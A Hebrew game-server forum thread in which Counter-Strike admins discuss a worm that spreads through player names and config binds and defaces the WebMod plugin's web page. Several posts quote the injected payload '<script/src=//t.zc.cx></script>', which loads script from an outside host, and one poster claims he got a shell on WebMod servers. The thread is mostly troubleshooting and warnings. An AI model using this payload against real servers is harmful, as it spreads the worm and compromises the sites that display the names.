בעיה בשרתי משחק
 

שלום ..
לאחרונה יש אנשים שמסתובבים השמות האלו <script/src=//t.zc.cx></scri
בשרתים ופשוט מנשים לכולם את השמות :\
יש לכם אולי פתרון ?

לא הבנתי.
אם אתה רוצה להעיף אותםצ פשוט תעשה:
vote בקונסול.
לכל אחד יש ID משלו למשל:
admin_kick 55

לא הבנת כי לא נתקלת בהם :\
מה הקשר להעיף ?
יש באג חדש ..
הוא משבש את העמוד הראשי של הוואב מוד
ובמשחק משנה לאנשים את השמות ..
עריכה :
זה נכנס לקונפיג של האנשים ברגע שהם נכנסים לשרת ומדביק להם
לשמל אם הם ילחצו על הבינד 1 / 2 / 3 / כול מיני כאלו
זה ישנה להם את השמות בדרך, זה משבש את האתר .

מה שאתה אומר בעצם שאלו אנשים שאין להם כלל גישות לשרת והם יכולים באיזה סקריפט מסויים לשנות קונפיגים לאנשים?
אם הבנתי אותך תגיד, אם אתה יכול להראות לי כדי אולי לנסות לפענח את הבעיה אתה מוזמן.

http://212.150.123.11:20012/index.w
זה לדוגמא שרת שיש בו כרגע את השם של הסקריפט ..
הוא משבש את האתר :\
ובמשחק זה כנראה מכניס לאנשים לקונפיג שברגע שהם ילחצו על מקש מסויים זה ישנה להם את השם :\
הבעיה שאני משנה להם את השם במשחק הם לוחצים על המקש וזה משנה להם שוב :\

לא התעמקתי בפיתרון אבל יש פיתרון פשוט ביותר
תוסיף את הכינוי לדף של האדמינים ככה שהשם שמור לאדמין והופה סודר
<script/src=//t.zc.cx></script>
ככה בדיוק

הפתירון שלך שנוי במחלוקת :\
אנשים לא יבינו למה הם מקבלים קיקים / לא מצליחים להיכנס ..
אהבתי את דרך החשיבה ש'ך חח

עכשיו הבנתי..
אם זה היה שרת משחק מקורי אני חושב שכל הצרות האלו בכלל לא היו קורות לך :)

מה הקשר ?
זה גם וגם :\
והיום יש כבר Lan 2 לידיעתך ..
זה קורה גם במקורי, אם הייתי בודק היית יודע .

כנראה שאתה ממש לא מעודכן, אין כבר lan2, השרתים של המקורי עברו לפרוטוקול 48 והשרתים הפרוצים נשארו ב-47 אני מאוד בטוח שבשרת מקורי זה לא יקרה לך.

יוני, אתה מדבר עם בנאדם שמתעסק בתחום למעלה מ 3 שנים :\
זה שאתה לא יודע שיש לאן 2 זו בעיתך :]
ואל תיהיה בטוח כי זה בדוק :\
ת'לא משהו הייתי אומר .

הבעייה היא שWEBMOD זה פלאגין דפוק.
יש כל כך הרבה בעיות אבטחה איתו שזה לא נורמאלי.

מה שקורה הוא שמישהו שם טאג בשם שלו, ואז זה מופיע בWEBMOD בלי שום סינון, וזה אומר שאפשר לשתול קוד בעמוד, ולעשות מה שרוצים על השרת.
אני כבר גיליתי את הבעיה הזאת לפני כמה חודשים טובים, לא דיווחתי כי אני יודע שכבר הפסיקו את הפיתוח ואין סיכוי שיוציאו גרסא מתוקנת.
והנה עוד מישהו עלה על זה, ומנצל את זה.

אפשר לעשות דברים הרבה יותר גרועים, אפילו להשתלט על כל הקוספא שעליה מורץ WEBMOD, כבר התרעתי כמה פעמים על הנושא, אני ממליץ לכולם להפסיק להשתמש במוד הזה.

הבעייה היא שWEBMOD זה פלאגין דפוק.
יש כל כך הרבה בעיות אבטחה איתו שזה לא נורמאלי.

מה שקורה הוא שמישהו שם טאג בשם שלו, ואז זה מופיע בWEBMOD בלי שום סינון, וזה אומר שאפשר לשתול קוד בעמוד, ולעשות מה שרוצים על השרת.
אני כבר גיליתי את הבעיה הזאת לפני כמה חודשים טובים, לא דיווחתי כי אני יודע שכבר הפסיקו את הפיתוח ואין סיכוי שיוציאו גרסא מתוקנת.
והנה עוד מישהו עלה על זה, ומנצל את זה.

אפשר לעשות דברים הרבה יותר גרועים, אפילו להשתלט על כל הקוספא שעליה מורץ WEBMOD, כבר התרעתי כמה פעמים על הנושא, אני ממליץ לכולם להפסיק להשתמש במוד הזה.

אין משהו שאפשר לעשות עם הוואב מוד ?
איזה קוד הגנה ?
או דברים כאלו ?

עומר, מלא חולשות פומביות יצאו כבר לפני כמה חודשים טובים,
ההרצת JS וכו' לא פורסמו.. אבל לא היה קשה לגלות
בכל מקרה, עדיין אין אקספלויט פומבי של הרצת קוד עם ה STACK OVERFLOW שיש ב
WEBMOD

אגב, מדובר באופן-סורס אם אני לא טועה, ויצאו כמה פאטצים לא רשמיים ..


מצחיק שמישו כתב תולעת CS זה לא רע דווקא הרעיון..

יש לך הגנות לזה ?
או את הפאצ' ?
אם אתה לא מעוניין לפרסם תוכל לשלוח לי בפרטי ?

כי למזלנו רק ילדים מתעסקים בלהפיל שרתי CS,
ישבתי על זה קצת, והוצאתי SHELL דיי בקלות..